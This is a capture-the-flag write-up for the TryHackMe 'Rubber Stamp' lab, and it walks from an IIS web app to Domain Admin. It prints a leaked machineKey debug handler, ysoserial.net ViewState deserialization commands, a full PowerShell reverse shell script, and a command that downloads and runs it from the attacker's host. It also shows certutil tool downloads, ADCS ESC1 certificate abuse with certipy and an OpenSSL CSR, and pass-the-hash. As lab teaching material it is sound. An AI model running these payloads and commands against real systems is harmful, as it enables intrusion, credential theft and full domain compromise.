> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/rubber-stamp.md). Agents can also search and read this documentation through its [MCP server](https://0xb0b.gitbook.io/writeups/~gitbook/mcp).

# Rubber Stamp

From IIS to Domain Admin. Chain a seemingly minor web flaw into a full network takeover. - by kohzmik

{% embed url="<https://tryhackme.com/room/rubberstamp>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

During a routine security assessment, analysts discovered an exposed approvals-automation startup still running its original production stack, exposed to the internet. Rubberstamp was built to route internal approval requests automatically, but critical security misconfigurations were never addressed before go-live.

Your task is to enumerate the service, identify any weaknesses, and escalate all the way to Domain Admin.

## Summary

<details>

<summary>Summary</summary>

In Rubber Stamp, we target a Windows Domain Controller `SRV01.rubberstamp.local` running a legacy .NET Web Forms application on IIS. Initial enumeration reveals an `Approval Status` page at `/legacy/RequestStatus.aspx` that deserializes ViewState on every POST. Fuzzing uncovers a `Global.asax.bak` backup file containing a debug error handler that leaks the full machineKey configuration when triggered via `/legacy/RequestStatus.aspx?debug=true`. With the validation and decryption keys in hand, we forge a malicious ViewState payload using ysoserial.net, achieving remote code execution and landing a reverse shell as `svc-iisweb`.&#x20;

From there, we enumerate ADCS using certipy and identify an ESC1 vulnerability in the `PrivClientAuth` certificate template, which allows any authenticated user to supply an arbitrary subject alternative name. We request a certificate impersonating Administrator, authenticate via PKINIT to retrieve the Administrator’s NT hash, and pass-the-hash to obtain a Domain Admin shell.&#x20;

The writeup covers both a remote approach using Rubeus TGT delegation with certipy, and a semi-local approach using OpenSSL CSR generation with certreq submission as a workaround for the service account's missing user profile.

</details>

## Recon

We use `rustscan -b 500 -a 10.113.159.243 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.113.159.243 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsUrkUnGgpq0zmoA6oQ4h%2Fgrafik.png?alt=media&amp;token=919c5de0-192c-45b9-8f6d-b59d87c5d5ce" alt=""><figcaption></figcaption></figure>

The target `10.113.159.243` is a Windows-based Domain Controller `SRV01.rubberstamp.local`. It hosts a Microsoft IIS 10.0 web server on port `80` serving the `Home - Rubberstamp site`. DNS is exposed on port `53` and Kerberos on ports `88` and `464`, confirming the host's role as an Active Directory DC for the domain `rubberstamp.local`. LDAP and LDAPS services are available on ports `389`, `636`, `3268`, and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. Remote management and access are available through RDP on port `3389` and WinRM on ports `5985` and `47001`. The host also exposes a .NET Message Framing service on port `9389`, RPC over HTTP on ports `593` and `49671`, and several MSRPC endpoints on ports `135`, `49664`–`49670`, `49672`, `49691`, `49703`, `49720`, and `49746`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBtqX3k84rKIRQNesRn7Z%2Fgrafik.png?alt=media&amp;token=857a306c-58e2-4bbc-b9ad-33909ecf61e8" alt=""><figcaption></figcaption></figure>

We try to authenticate as `guest` against SMB, but without success - the account is disabled. Nevertheless we will generate a hosts file entry with the following command.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.113.159.243 -u guest -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNEOAUJEVTb60vyKdW1fK%2Fgrafik.png?alt=media&amp;token=9742d299-37cf-4d4c-bf95-76c684537b9b" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.113.159.243     SRV01.rubberstamp.local rubberstamp.local SRV01
```

{% endcode %}

We first visit the page manually and find that it is a page that claims to be a service for approving requests - automated, neatly routed, and with logging.

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FK7N89YxJrs70qxF7sNYq%2Fgrafik.png?alt=media&amp;token=dac531df-358f-4120-a60b-6d5de14b6337" alt=""><figcaption></figcaption></figure>

On the team page, we can identify three members. We make a note of their names and generate a list of usernames to see if we can find any valid users. But we do not find any using kerbrute for example.

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local/Home/Team
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FY8NmuPyhf2gMqCbSiKDa%2Fgrafik.png?alt=media&amp;token=50f541b9-8473-49e6-b3e6-fea8fec1ed9b" alt=""><figcaption></figcaption></figure>

The contact page looks promising; the page that processes our requests might be vulnerable to XSS. However, several blind XSS attempts have been unsuccessful.

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local/Contact
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fo7HLMqgjlqPwyZyJdqmf%2Fgrafik.png?alt=media&amp;token=217e3b32-2fd9-4104-a6e3-e1e5c5fb9e47" alt=""><figcaption></figcaption></figure>

At the bottom right of the pages, there is a link labeled `Approval Status` clicking on it would takes us to `http://rubberstamp.local//legacy/RequestStatus.aspx`, but we are redirected directly to `http://rubberstamp.local/Error?aspxerrorpath=/legacy/RequestStatus.aspx`

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local//legacy/RequestStatus.aspx
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local/Error?aspxerrorpath=/legacy/RequestStatus.aspx
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS60KG85hMdNplri75SdG%2Fgrafik.png?alt=media&amp;token=532f78bc-cf37-4f11-9974-435283ea1336" alt=""><figcaption></figcaption></figure>

As we continue to enumerate and test, we come across the `id` parameter (`?id=1`), which renders the page correctly when we pass a number, we do not get redirected to the error page. Whether negative or arbitrarily large, values are accepted and reflected, other values like characters lead to the error page. Since any number can be rendered and is simply reflected back, this appears to be nothing more than a dummy parameter. Nevertheless, we test for SQL injection, but without success.

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local//legacy/RequestStatus.aspx?id=1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnK7gKf95ls8p1UlkX9yW%2Fgrafik.png?alt=media&amp;token=02e53d25-22f4-4a7d-9662-7a9731faf79d" alt=""><figcaption></figcaption></figure>

But there's something else that stands out. The `RequestStatus.aspx` is a Web Forms page (`.aspx` with `__VIEWSTATE` in every response), which means the server deserializes ViewState on every POST. If we control the machineKey, we control what gets deserialized which can lead to a remote code execution.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfDNYP7Ca04o1x3uz52LO%2Fgrafik.png?alt=media&amp;token=3dc292da-20bf-49b4-9cde-ffc1cefd2687" alt=""><figcaption></figcaption></figure>

Just to be on the safe side, we run another directory scan, but don't find any other pages of interest. We also check for additional vhosts and subdomains (not shown here), but don't find anything else of interest.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -u http://rubberstamp.local/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMqj0sI9sRougoGn4Hviq%2Fgrafik.png?alt=media&amp;token=eac92e4f-51bd-4217-a530-8e506ab66828" alt=""><figcaption></figcaption></figure>

## Shell as svc-iisweb

If we control the machineKey, we can forge a validly signed ViewState that the server will trust and deserialize. This lets us embed a malicious gadget chain via `ysoserial.net` that executes as soon as the server processes the request.&#x20;

Since we haven't found any secrets in our initial enumeration, we're expanding our search and fuzzing using additional lists and taking backup file extensions into account.

Fuzzing for backup files reveals `Global.asax.bak`.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt \
-u 'http://rubberstamp.local/FUZZ' \
-e .config,.bak,.old,.backup,.xml,.txt,.aspx \
-mc all -fc 302,404,403 \
-ac -t 50
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2ZtPkSixnTt0EbHWZRZH%2Fgrafik.png?alt=media&amp;token=680325dc-66df-41b3-8ab9-1e17f1b06197" alt=""><figcaption></figcaption></figure>

The `Global.asax.bak` file reveals a debug error handler: any request to `/legacy/*` with `?debug=true` that triggers an exception will dump the full `machineKey` configuration (validation key, decryption key, and algorithm) into the error response. Requesting a nonexistent page like `/legacy/nonexistent?debug=true` should lead to the keys.

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local/global.asax.bak
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2AJ9orqt7VXXRukHkuQa%2Fgrafik.png?alt=media&amp;token=13531121-695a-4888-8f6e-68a6241da67e" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
void Application_Error(object sender, EventArgs e)
{
    // ...
    if (!context.Request.Path.StartsWith("/legacy/", StringComparison.OrdinalIgnoreCase))
        return;
    if (context.Request.QueryString["debug"] != "true")
        return;

    var ex = context.Server.GetLastError();
    var mk = (MachineKeySection)ConfigurationManager.GetSection("system.web/machineKey");

    context.Response.Write("<pre>" + ex.ToString() +
        "\n\nvalidationKey=" + mk.ValidationKey +
        "\ndecryptionKey=" + mk.DecryptionKey +
        "\nvalidation=" + mk.Validation + "</pre>");
    context.Server.ClearError();
}
```

{% endcode %}

We trigger the leak as follows and are able to retrieve all necessary parameters to craft a serialized payload using `ysoserial.net`.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://rubberstamp.local/legacy/RequestStatus.aspx?id=x&debug=true
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpnqZvoaw6kl2geFskwA1%2Fgrafik.png?alt=media&amp;token=2d96a192-f406-4bb6-8fd0-ca5cc572f0c0" alt=""><figcaption></figcaption></figure>

* **validationKey:** `REDACTED`
* **decryptionKey:** `REDACTED`
* **validation:** SHA1
* **decryption:** AES

For ysoserial, we need Windows. I set up a Windows VM specifically for this purpose, which I access via evil-wirnm. All Defender features are disabled.

With the secrets in hand, we craft a malicious ViewState payload using `ysoserial.net`.&#x20;

Before going for a full shell, we confirm code execution with a `ping`.

{% code overflow="wrap" expandable="true" %}

```
C:\Users\labuser\Documents\ysoserial\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping -n 3 192.168.130.30" --path="/legacy/RequestStatus.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="REDACTED" --validationalg="SHA1" --validationkey="REDACTED" --isdebug
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqM7kzPo6TFK5QtDgzZ5m%2Fgrafik.png?alt=media&amp;token=40686bdf-4dc5-41f0-9929-90efef966d0f" alt=""><figcaption></figcaption></figure>

We listen via `tcpdump`...

{% code overflow="wrap" expandable="true" %}

```
sudo tcpdump -i tun0 icmp
```

{% endcode %}

... and send the payload.

{% code overflow="wrap" expandable="true" %}

```
curl -s "http://rubberstamp.local/legacy/RequestStatus.aspx?id=1" \
  -X POST \
  -d '__VIEWSTATE=<URL_ENCODED_PING_PAYLOAD>&__VIEWSTATEGENERATOR=0CA456E0' \
  -o /dev/null -w "%{http_code}\n"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsKh7d0NhYWbP2qtEESPs%2Fgrafik.png?alt=media&amp;token=2a8a5621-3847-43cf-b9cc-f0065eb47226" alt=""><figcaption></figcaption></figure>

Three ICMP echo requests arrive from the target. RCE is confirmed. Now we escalate to a full reverse shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzvaIsv6GpzKJrR1DCgnJ%2Fgrafik.png?alt=media&amp;token=964fcacc-f740-455f-89cb-a8672b2661e9" alt=""><figcaption></figcaption></figure>

We are preparing a PowerShell reverse shell script, which we will serve from our attacker machine via a web server, and then download and execute it using the serialized payload.

{% code title="rev.ps1" overflow="wrap" expandable="true" %}

```
$c = New-Object System.Net.Sockets.TCPClient("192.168.130.30",4444);$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb = (iex $d 2>&1 | Out-String);$sb2 = $sb + "PS " + (pwd).Path + "> ";$sb = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRy1RvHF1cUFjxenHkQSf%2Fgrafik.png?alt=media&amp;token=e86bae39-323b-470e-90b3-090b8afcb6b7" alt=""><figcaption></figcaption></figure>

We run a web server using Python...

{% code overflow="wrap" expandable="true" %}

```
python3 -m http.server 8000
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwcDUyaFtO5NgP4WefhS0%2Fgrafik.png?alt=media&amp;token=6f1456f6-eb59-4956-843d-ca97ad2c2f79" alt=""><figcaption></figcaption></figure>

... and prepare a listener on port `4444`.

{% code overflow="wrap" expandable="true" %}

```
rlwrap nc -nlvp 4444
```

{% endcode %}

We generate a new payload on our lab machine using ysoserial agian - same flags, but different command.

{% code overflow="wrap" expandable="true" %}

```
C:\Users\labuser\Documents\ysoserial\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.130.30:8000/rev.ps1')" --path="/legacy/RequestStatus.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="REDACTED" --validationalg="SHA1" --validationkey="REDACTED"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmbkDciqPgwrXEKYAfkkz%2Fgrafik.png?alt=media&amp;token=ea0b5960-ad39-4b67-a557-a3644836ea6b" alt=""><figcaption></figcaption></figure>

We send the new ViewState payload via POST to `RequestStatus.aspx`...

{% code overflow="wrap" expandable="true" %}

```
curl -s "http://rubberstamp.local/legacy/RequestStatus.aspx?id=1" \
  -X POST \
  -d '__VIEWSTATE=<URL_ENCODED_PING_PAYLOAD>&__VIEWSTATEGENERATOR=0CA456E0' \
  -o /dev/null -w "%{http_code}\n"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBIaFXptub4fz7JlF6gja%2Fgrafik.png?alt=media&amp;token=5a069956-f358-46b0-93e9-68d912671028" alt=""><figcaption></figcaption></figure>

... and receive a shell as `svc-iisweb`. We'll find the users flag at `C:\Users\Public\user.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FN8zIIpzH5Qd5Ffde0kF8%2Fgrafik.png?alt=media&amp;token=e194383c-73e5-4207-9c97-6b3f3bc81b87" alt=""><figcaption></figcaption></figure>

## Shell as administrator

Using the remote shell, we can now enumerate the machine and the domain internally using `SharpHound.exe` and `Certify.exe`. This can also be done remotely. For this we can leverage Rubeus to get a TGT / Kiribi file, transfer the ticket to our machine and authenticate via certipy.

The write-up covers both methods of enumeration and escalation; remote as well as semi-local.&#x20;

{% hint style="info" %}
In my initial attempt, I solved this lab locally, which is much more time-consuming. So, let's start with the remote solution.
{% endhint %}

### Remote ESC 1&#x20;

We provide `Rubeus.exe` via the web server and download the executable on the target machine via certutil.

{% code overflow="wrap" expandable="true" %}

```
certutil -urlcache -split -f http://192.168.130.30:8000/Rubeus.exe C:\Users\Public\Rubeus.exe
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZxZl5gLC2xWPcCgZWJsL%2Fgrafik.png?alt=media&amp;token=416fa46a-1b6f-440a-92c8-07d7952079e5" alt=""><figcaption></figcaption></figure>

The `tgtdeleg` flag from Rubeus abuses the Kerberos GSS-API to extract a usable TGT for the current user without needing their password. The `/nowrap` flag gives us the base64 ticket on a single line.

{% code overflow="wrap" expandable="true" %}

```
.\Rubeus.exe tgtdeleg /nowrap
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBxyB6jKcZKZSCp24sFok%2Fgrafik.png?alt=media&amp;token=8dd2f49d-0656-4106-9275-c23a44b845db" alt=""><figcaption></figcaption></figure>

Next, we save the base64 blob to a file called `svc-iisweb.kirbi` on our machine.

{% code overflow="wrap" expandable="true" %}

```
echo '<BASE64_TICKET>' | base64 -d > svc-iisweb.kirbi
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZs4g5Xt4iU3fOxmasiBm%2Fgrafik.png?alt=media&amp;token=43a03f2a-c114-421f-89f9-360c37db2882" alt=""><figcaption></figcaption></figure>

Via impacket's `ticketConverter.py` we convert kirbi to a `ccache` file.

{% code overflow="wrap" expandable="true" %}

```
ticketConverter.py svc-iisweb.kirbi svc-iisweb.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoWOzPbyM6ZsDPxTl24Yl%2Fgrafik.png?alt=media&amp;token=1172dfa5-3b3f-4d61-949f-e260bab7652c" alt=""><figcaption></figcaption></figure>

Next, we set the `ccache` for Kerberos authentication.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=svc-iisweb.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBETmOTtpRi7aOrE1j37s%2Fgrafik.png?alt=media&amp;token=a96f2592-d13a-4263-906e-105130be3a3d" alt=""><figcaption></figcaption></figure>

Now we can authenticate as `svc-iisweb` from our machine with the `ccache` file.&#x20;

{% code overflow="wrap" expandable="true" %}

```
certipy find -k -dc-ip 10.113.159.243 \
  -target SRV01.rubberstamp.local \
  -vulnerable
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHwtSHBzzTiEtgDM1Iqzh%2Fgrafik.png?alt=media&amp;token=01e5655a-fddd-40b2-b710-9edbfc167200" alt=""><figcaption></figcaption></figure>

We receive a JSON output with the results. The certificate templates `PrivClientAuth` is misconfigured to allow **any authenticated user to enroll** and supply arbitrary subject names, enabling `ESC1` attacks for impersonation via client authentication. Furthermore, the CA has HTTP web enrollment enabled without channel binding, making it vulnerable to `ESC8` (NTLM relay to ADCS). We were unable to successfully exploit `ESC8` in this environment, so we proceed with the `ESC1` attack path.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwAp9NxCv4A3JMy2XeeUL%2Fgrafik.png?alt=media&amp;token=7f0c496e-3494-4847-8356-91cdf7968062" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlWEdmA5IzzHwxeriUBWq%2Fgrafik.png?alt=media&amp;token=9e7ab581-180b-4f56-9614-b13201b4fa59" alt=""><figcaption></figcaption></figure>

So, we request a certificate from the CA using the vulnerable `PrivClientAuth` template, specifying the Administrator UPN as the subject alternative name.

{% code overflow="wrap" expandable="true" %}

```
certipy req -k -dc-ip 10.113.159.243 \
  -ca rubberstamp-SRV01-CA \
  -template PrivClientAuth \
  -upn Administrator@rubberstamp.local \
  -target SRV01.rubberstamp.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F541xmOVV1QwPxolxO3Dg%2Fgrafik.png?alt=media&amp;token=79cf078c-f042-4e4d-ab0f-4fd487775652" alt=""><figcaption></figcaption></figure>

Using the issued certificate, we perform PKINIT authentication to obtain the Administrator's NT hash via Kerberos.

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx administrator.pfx \
  -dc-ip 10.113.159.243 \
  -username Administrator \
  -domain rubberstamp.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ft5fGVRvl7wQmw8dwbawl%2Fgrafik.png?alt=media&amp;token=05431229-1ad7-47cb-8c15-044d7d164c0c" alt=""><figcaption></figcaption></figure>

With the Administrator hash, we pass-the-hash to get a shell as Domain Admin and are able to retrieve the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i 10.113.159.243 -u administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fo8xxfT3Uc4oSPnKTmu51%2Fgrafik.png?alt=media&amp;token=7bd3fd44-0a15-4a79-9cab-6fe1945ea1d2" alt=""><figcaption></figcaption></figure>

### Semi-Local ESC1

We enumerate the target domain using `SharpHound.exe` (not shown) and `Certify.exe` on the Domain Controller. We upload Certify.exe (from SharpCollection, .NET 4.7) to the target using certuil.

{% embed url="<https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/>" %}

{% code overflow="wrap" expandable="true" %}

```
certutil -urlcache -split -f http://192.168.130.30:8000/Certify.exe C:\Users\Public\Certify.exe
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlRsqz8tWdC5V1pPKtf5z%2Fgrafik.png?alt=media&amp;token=61d1d991-d832-4773-92bf-df3bb3d6457c" alt=""><figcaption></figcaption></figure>

Like with certipy we enumerate the templates. This version also tags the vulnerable misconfigure certificate templates usin `enum-templates`. We are able to identify the aformentioned `ESC1` and `ESC8` vulnerability.

{% code overflow="wrap" expandable="true" %}

```
.\Certify.exe enum-templates
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtMXIcVlX59chG6KdVl16%2Fgrafik.png?alt=media&amp;token=2f45eae7-509d-4dc2-b9a7-a1f92e63ed02" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBQjAGYZRxIMLdqh1WUa7%2Fgrafik.png?alt=media&amp;token=eb45d4b2-faab-48db-b7a1-222e1167cff7" alt=""><figcaption></figcaption></figure>

We try to request a certificate as Administrator directly using `Certify.exe`, but the request fails. `Certify.exe` fails with a `FileNotFoundException` at private key creation. The `svc-iisweb` service account lacks a loaded user profile - probably because of our reverse shell not being an interactive session - , so Windows cannot create the key container needed to generate the certificate's private key. This is why we fall back to generating the CSR on our attacker machine with OpenSSL and submitting it via `certreq` on the target.

{% code overflow="wrap" expandable="true" %}

```
.\Certify.exe request --ca "SRV01.rubberstamp.local\rubberstamp-SRV01-CA" --template "PrivClientAuth" --upn "Administrator@rubberstamp.local"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu7JjWeSDy6vqzG5wfHEz%2Fgrafik.png?alt=media&amp;token=7c1ba84e-6a5d-4fbe-bd74-d84d036f17a2" alt=""><figcaption></figcaption></figure>

But we can still get this to work with a workaround and split the operation across two machines:

1. **Generate the private key + CSR on our machine -** no Windows profile needed
2. **Submit the CSR on the target** using `certreq`. This only submits a pre-made CSR, no key generation needed on-target
3. **Combine cert + key into PFX on our machine**&#x20;

The CSR must contain the Administrator's UPN as a Subject Alternative Name, encoded in the exact way that Active Directory expects for PKINIT certificate mapping. Here's the config, which has been generated using claude:

{% code overflow="wrap" expandable="true" %}

```
cat > admin.cnf << 'EOF'
[req]
default_bits = 2048
prompt = no
distinguished_name = dn
req_extensions = v3_req

[dn]
CN = svc-iisweb

[v3_req]
subjectAltName = @san

[san]
otherName.0 = 1.3.6.1.4.1.311.20.2.3;FORMAT:UTF8,UTF8:Administrator@rubberstamp.local
EOF
```

{% endcode %}

\
**`CN = svc-iisweb`** — This is the identity we’re running as. We got our shell as `rubberstamp\svc-iisweb` through the ViewState deserialization RCE. The CN doesn’t actually matter for the attack (AD maps the cert by the SAN, not the CN), but it needs to be a valid value. We use our current user so the CSR looks legitimate.

**`Administrator@rubberstamp.local`** — This is what makes ESC1 work. We’re telling the CA "issue me a cert for Administrator". We can do this because the **PrivClientAuth** template has `ENROLLEE_SUPPLIES_SUBJECT` enabled — meaning the requester chooses who the cert is for, instead of the CA forcing it to match the requester’s identity. We know the domain is `rubberstamp.local` from enumeration (nxc, the DC’s hostname, DNS). We know `Administrator` exists because it’s a default AD account.

**`1.3.6.1.4.1.311.20.2.3`** — This is Microsoft’s `msUPN` OID (id-ms-san-sc-logon-upn). It’s a fixed, well-known value — not target-specific. The KDC uses this specific OID to map a certificate’s SAN to a domain principal for PKINIT authentication. We had to learn this the hard way after two failed attempts: one using `certreq -attrib` (which relies on a CA flag that was disabled), and one using a generic otherName without this OID (which the KDC couldn’t map).

**`FORMAT:UTF8,UTF8:`** — Also not target-specific. It’s the ASN.1 encoding that AD’s KDC expects for the UPN value inside the SAN. Using the wrong encoding (like IA5String) produces a cert that looks right in `openssl x509 -text` but fails PKINIT because the ASN.1 structure doesn’t match.

So in short: the only target-specific pieces are the **domain name** `rubberstamp.local` from basic enumeration and **Administrator** as the target principal. Everything else is either our current identity or well-known Microsoft PKINIT constants.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5RpXdjvuYTuvHVvEXIwa%2Fgrafik.png?alt=media&amp;token=97e12afa-feea-4c03-aec8-aa301f9e936c" alt=""><figcaption></figcaption></figure>

Next we generate the key and the CSR.

{% code overflow="wrap" expandable="true" %}

```
openssl req -new -newkey rsa:2048 -nodes \
  -keyout admin.key \
  -out admin.csr \
  -config admin.cnf
```

{% endcode %}

